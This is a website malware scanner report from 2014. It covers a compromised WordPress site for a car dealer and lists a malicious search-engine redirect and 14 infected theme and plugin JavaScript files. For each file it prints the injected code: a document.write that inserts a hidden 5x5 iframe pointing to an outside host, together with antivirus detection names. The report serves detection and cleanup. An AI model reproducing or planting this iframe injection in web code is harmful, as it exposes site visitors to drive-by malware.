New scan:

Malware Scanner report for paulwolfemotors.com

Malicious/Suspicious/Total urls checked
14/0/15
14 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "paulwolfemotors.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious redirects
Found
The website redirects visitors from search engines to the 3rd-party URL:
->http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
18 websites infected. tractionsps.fish-salad.info is marked by Google as suspicious.

The website "paulwolfemotors.com" is most probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues. Here is our redirects fixing guide.
Malicious/Hidden/Total iFrames
14/0/14
14 malicious iframes found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=paulwolfemotors.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Malicious/Suspicious Redirects

RequestServer responseStatus
URL: http://paulwolfemotors.com/
(imitation of visitor from search engine)


GET / HTTP/1.1
Host: paulwolfemotors.com
Referer: http://www.google.com/search?q=redirect+check1
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 26 Jul 2014 08:15:13 GMT
Location: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
Server: Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips mod_bwlimited/1.4
Content-Length: 265
Content-Type: text/html; charset=iso-8859-1
malicious

Scanned pages/files

RequestServer responseStatus
http://paulwolfemotors.com/
200 OK
Content-Length: 14715
Content-Type: text/html
clean
http://paulwolfemotors.com/wp-content/themes/radial-theme/js/jquery.min.js
200 OK
Content-Length: 238328
Content-Type: application/javascript
malicious
Page code contains blacklisted domain: tractionsps.fish-salad.info

...[3879 bytes skipped]...
em, type ),
ret = parseFloat( orig );
return jQuery.isNaN( ret ) ? orig : ret;
// Set the width or height on the element (default to pixels if value is unitless)
} else {
return this.css( type, typeof size === "string" ? size : size + "px" );
}
};
});
// Expose jQuery to the global object
window.jQuery = window.$ = jQuery;
})(window);document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-content/themes/radial-theme/js/jquery.sexyslider.js
200 OK
Content-Length: 14823
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[3954 bytes skipped]...
eight' : this.options.height,
'opacity' : 1
}, this.options.stripSpeed);
}
this.inc++;
}
});
$.fn.SexySlider = function(options) {
this.each(function() {
if (!this.SSObject) {
this.SSObject = new SSPrototype().init(this, options);
};
return this.SSObject;
});
};
})(jQuery);document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Antivirus reports:

Avast
HTML:Iframe-BLP [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V1112
Kaspersky
HEUR:Trojan.Script.Generic

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-content/themes/radial-theme/js/cufon-yui.js
200 OK
Content-Length: 18428
Content-Type: application/javascript
malicious
Page code contains blacklisted domain: tractionsps.fish-salad.info

...[3504 bytes skipped]...
ab.code,X)}else{ab.code=d("m"+ab.d,X)}X.fill()}X.translate(E[++g],0)}X.restore()}if(z){for(var U=z.length;U--;){var F=z[U];X.save();X.fillStyle=F.color;X.translate.apply(X,L[U]);T()}}var q=t.textGradient;if(q){var v=q.stops,p=X.createLinearGradient(0,A.minY,0,A.maxY);for(var U=0,R=v.length;U<R;++U){p.addColorStop.apply(p,v[U])}X.fillStyle=p}else{X.fillStyle=P.get("color")}T();return s}})());document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-content/themes/radial-theme/js/titillium.font.js
200 OK
Content-Length: 143140
Content-Type: application/javascript
malicious
Page code contains blacklisted domain: tractionsps.fish-salad.info

...[3505 bytes skipped]...
w":145},"\u203a":{"d":"72,-91r-40,-27r0,-49r81,59r0,35r-81,61r0,-48","w":145},"\u00ab":{"d":"113,-115r-40,27r40,31r0,49r-81,-62r0,-34r81,-59r0,48xm215,-115r-40,27r40,31r0,49r-81,-62r0,-34r81,-59r0,48","w":241},"\u00bb":{"d":"168,-88r-39,-27r0,-48r80,59r0,34r-80,62r0,-49xm66,-88r-39,-27r0,-48r80,59r0,34r-80,62r0,-49","w":241},"\/":{"d":"20,-7r102,-252r46,16r-102,252"},"\u00a0":{"w":84}}});
;document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-content/themes/radial-theme/js/jquery.innerfade.js
200 OK
Content-Length: 5225
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[3768 bytes skipped]...
must either be \'sequence\', \'random\' or \'random_start\'');
setTimeout((function() {
$.innerfade.next(elements, settings, current, last);
}), settings.timeout);
};

})(jQuery);

function removeFilter(element) {
if(element.style.removeAttribute){
element.style.removeAttribute('filter');
}
}
;document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Antivirus reports:

Avast
HTML:Iframe-BLP [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V1213
Kaspersky
HEUR:Trojan.Script.Generic

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-content/themes/radial-theme/js/jquery.contentslider.js
200 OK
Content-Length: 53609
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[3902 bytes skipped]...
) return b;
if (t==d) return b+c;
if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
},
easeInCirc: function (x, t, b, c, d) {
return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
},
easeOutCirc: function (x, t, b, c, d) {
return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
}
});document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Antivirus reports:

Avast
HTML:Iframe-BLP [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V1112
Kaspersky
HEUR:Trojan.Script.Generic

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-content/themes/radial-theme/js/jquery.tinytips.js
200 OK
Content-Length: 3316
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[1087 bytes skipped]...
ft = pos.left - xOffset;

tinyTip.css('position', 'absolute').css('z-index', '1000');
tinyTip.css(nPos).fadeIn(animSpeed);

}, function() {

$(this).attr('title', tText);

$('div.tinyTip').fadeOut(animSpeed, function() {
$(this).remove();
});

});

}

})(jQuery);document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Antivirus reports:

Avast
HTML:Iframe-BLP [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V1112
Kaspersky
HEUR:Trojan.Script.Generic
GData
Win32.Trojan.Agent.8Z3LJE

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-content/themes/radial-theme/js/scripts.js
200 OK
Content-Length: 6169
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[3861 bytes skipped]...
0;
height = roundNumber(width/ratio,0)
jQuery(this).css('width', width+'px');
jQuery(this).css('height', height+'px');
}
});
}

function submitsearch() {
document.getElementById('SearchForm').submit(); return false;
}
function submitsearchsmall() {
document.getElementById('SearchFormSmall').submit(); return false;
};document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Antivirus reports:

Avast
HTML:Iframe-BLP [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V0722
Comodo
UnclassifiedMalware
Kaspersky
HEUR:Trojan.Script.Generic

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-content/themes/radial-theme/js/jquery.menucardslider.js
200 OK
Content-Length: 2684
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[2553 bytes skipped]...
card-slider').fadeOut(400);
$('#card-slider').animate({
left: left
}, 0, function(){

window.blockAnimation = false;

});

$('#card-slider').fadeIn(400);
window.cardcontainer.attr('activepage', window.activepage).animate({
height: $('#cardpageid-' + window.activepage).height() + 40
}, 400 );


}
;document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Antivirus reports:

Avast
HTML:Iframe-BLP [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V1112
Kaspersky
HEUR:Trojan.Script.Generic
GData
Win32.Trojan.Agent.QMMPUR

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-content/themes/radial-theme/js/cufon-replace.js
200 OK
Content-Length: 1770
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[1305 bytes skipped]...
4b 0 1px' } );
Cufon.replace('.navigation .nr', { hover: 'true' } );
Cufon.replace('.menu-card .item .title', { hover: 'true' } );
Cufon.replace('.menu-card .item .menu-price', { hover: 'true' } );
Cufon.replace('.success p', { hover: 'true' } );
Cufon.replace('.search-wrapper p', { hover: 'true' } );
Cufon.replace('.popular-galleries .main-title b', { hover: 'true' } );document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Antivirus reports:

Avast
HTML:Iframe-BLP [Trj]
Bkav
MW.Clodb30.Trojan.af60
TrendMicro-HouseCall
TROJ_GEN.F47V0722
Comodo
UnclassifiedMalware
Kaspersky
HEUR:Trojan.Script.Generic

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-content/themes/radial-theme/js/jquery.fancybox.js
200 OK
Content-Length: 29568
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[4111 bytes skipped]...
showNavArrows : true,
enableEscapeButton : true,
enableKeyboardNav : true,

onStart : function(){},
onCancel : function(){},
onComplete : function(){},
onCleanup : function(){},
onClosed : function(){},
onError : function(){}
};

$(document).ready(function() {
$.fancybox.init();
});

})(jQuery);document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Antivirus reports:

Avast
HTML:Iframe-BLP [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V1112
Kaspersky
HEUR:Trojan.Script.Generic

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-includes/js/jquery/jquery.js?ver=1.7.1
200 OK
Content-Length: 94060
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[3647 bytes skipped]...
,overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bG,"").replace(bL,bW[1]+"jQuery.noConflict();
;document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Antivirus reports:

Avast
HTML:Iframe-BLP [Trj]
Bkav
W32.HfsIframe.2ff4
TrendMicro-HouseCall
TROJ_GEN.F47V1112
Kaspersky
HEUR:Trojan.Script.Generic
GData
Win32.Trojan.Agent.WTY7BF

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-content/plugins/contact-form-7/jquery.form.js?ver=2.52
200 OK
Content-Length: 28567
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[4025 bytes skipped]...
axSubmit.debug = false;
function log() {
if (!$.fn.ajaxSubmit.debug)
return;
var msg = '[jquery.form] ' + Array.prototype.join.call(arguments,'');
if (window.console && window.console.log) {
window.console.log(msg);
}
else if (window.opera && window.opera.postError) {
window.opera.postError(msg);
}
};
})(jQuery);
;document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Antivirus reports:

Avast
HTML:Iframe-BLP [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V1112
Kaspersky
HEUR:Trojan.Script.Generic

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">

http://paulwolfemotors.com/wp-content/plugins/contact-form-7/scripts.js?ver=3.1
200 OK
Content-Length: 6378
Content-Type: application/javascript
malicious
Page code contains blacklisted domain: tractionsps.fish-salad.info

...[3856 bytes skipped]...
7-validation-errors wpcf7-spam-blocked');
$(this).find('span.wpcf7-not-valid-tip').remove();
$(this).find('img.ajax-loader').css({ visibility: 'hidden' });
});
};
$.fn.wpcf7FillResponseOutput = function(message) {
return this.each(function() {
$(this).find('div.wpcf7-response-output').append(message).slideDown('fast');
});
};
})(jQuery);document.write('<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Malicious iFrame found.
size: 5x5     
src: http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7
This URL is marked by Google as suspicious

<iframe src="http://tractionsps.fish-salad.info/xmlxslsimplifies.cgi?7" scrolling="auto" frameborder="no" align="center" height="5" width="5">